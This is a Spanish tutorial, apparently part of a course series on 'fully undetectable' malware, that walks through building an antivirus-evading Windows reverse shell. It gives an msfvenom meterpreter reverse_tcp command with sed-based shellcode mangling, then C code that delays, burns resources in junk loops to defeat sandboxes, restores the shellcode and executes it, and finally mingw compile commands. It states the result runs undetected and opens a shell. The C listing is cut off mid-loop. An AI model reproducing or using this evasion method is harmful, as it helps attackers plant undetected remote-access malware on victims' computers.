5.4.4. Antivirus Evasion con C y Metasploit Encoders
Este artículo pertenece a la serie de FUD (Fully Undetectable) Payload Malware. Para poder seguirlo es necesario haber consolidado los conocimientos que se dan en Malware SA en temas como Metasploit, funcionamiento de memoria del sistema, debugging, lenguaje ensamblador, OllyDbg, etc.
Esta práctica es similar a la encontrada en FUD: Antivirys Bypass con C/C++. En esta se construye un fichero ejecutable que contiene un payload en forma de shell reversa utilizando para ello plantillas en lenguaje de programación C. No obstante, en esta ocasión se hará hincapié en diferentes elementos con el objetivo de despistar los antivirus y herramientas de seguridad, empleando codificadores de serie insertados en el código C (encoders) y otros parámetros con Msfvenom. Se realizan los siguientes pasos:
1. Se obtiene un payload con Msfvenom en formato shell reversa para un target Windows en formato de lenguaje C. Se añaden una serie de parámetros como evitar determinados valores en hexadecimal de opcodes (-b \x15\x25…) y con la opción –smallest. Esta opción intenta optimizar en tamaño del payload con encoders (ver imagen). Además, se ha añadido la sección | sed (…) que lo que hace es realizar un reemplazo de caracteres, 10 por 15, 20 por 25, etc. De alguna forma, lo que se pretende es deformar adrede la shellcode para posteriormente revertir la situación con las funciones de C. Después de las operaciones, se obtiene la shell en formato de variable de C unsigned char buf[] que se utilizará para generar el malware:
msfvenom –p windows/meterpreter/reverse_tcp LHOST= LPORT= -b \x15\x25\x35\x65 --smallest –f c | sed s/'10'/'15'/g | sed s/'20'/'25'/g | sed s/'30'/'35'/g | sed s/'60'/'65'/g
2. Ahora se constituye un fichero de código en lenguaje C (extensión .c) con las siguientes instrucciones:
#include
#include
unsigned char buf[] =
"\x6a\x47\x59 ..."
"Valores obtenidos de Msfvenom"
"... \xef\x48"
int main(int argc, char **argv)
{
Sleep(60000);
int x;
int len;
int junk;
len = sizeof(buf)
for(x=0; x<5000000; x++)
{
junk = rand() % 10;
malloc(10 * sizeof(int));
}
for(x=0; x
El análisis del código es el siguiente con imágenes de Visual Code de Windows (después de la declaración de las bibliotecas studio.h y windows.h para funciones de API de Windows y la array que contiene la shellcode):
- Función principal (main): Aunque no se utilizaría en este tipo de programa, contiene como parámetros de la función un entero argc que representaría la cantidad de argumentos pasados al programa a través de consola de línea de comandos y una array **argv donde cada elementos del vector es una cadena que representa un argumento (es un convencionalismo). Después se le indica al programa esperar 60 segundos antes de empezar, se declaran algunas variables de tipo entero y se calcula la longitud en bytes de la variable de la shellcode:
- Bucle de asignaciones de código redundante (o basura): Existe al principio del código y al final. Es un bucle que se ejecuta hasta 5 millones de veces, generando un valor aleatorio (junk) y asignando memoria con la función malloc. El objetivo es consumir tiempo y recursos del sistema.
- Técnica de tuberías: Así se denomina a esta técnica, tiene como objetivo revertir el cambio de valores en hexadecimal realizado con los parámetros | sed (…) empleados al generar el payload con Msfvenom. Tiene como objetivo evadir firmas de detección de malware.
- Ejecución de la shellcode: Las siguientes instrucciones también son un convencionalismo y tienen como objetivo ejecutar el código contenido en la variables buf que contiene la shellcode. En las dos primeras instrucciones se declara un puntero a función (f) que apunta a la shellcode (buf). La línea (int)(*f)(); ejecuta la shellcode. Esto es una forma de ejecutar el código contenido en buf como si fuera una función:
Para terminar, ya solo hay que compilar el fichero (de Linux para Windows, en formato PE), al que se ha denominado shell1.c en este ejemplo con mingw. En caso de no disponer de esta herramienta de compilación se puede descargar a instalar desde los repositorios:
sudo apt update && sudo apt install mingw-w64 mingw-w32
i686-w64-mingw32-gcc shell1.c –o shell1.exe
Al compilar, se pueden mostrar algunos errores como indica en la siguiente pantalla, pero no impedirán su correcta ejecución en un sistema Windows:
Al trasladar el ejecutable de malware a un sistema Windows, no es detectado y se obtiene la shell!
Notas finales acerca de esta práctica:
- Para garantizar todavía más que el malware no es detectado, se propone como práctica convertir el ejecutable a HEX e insertarlo en un code caves como se ha visto en la práctica dedicada a ello.
- El siguiente paso para un perfeccionamiento de todas estas técnicas sería crear encoder, aunque para esto se requiere unos conocimientos mucho más sólidos de debugging y programación. Se recomienda revisar la segunda referencia para seguir investigando: https://rastating.github.io/creating-a-custom-shellcode-encoder/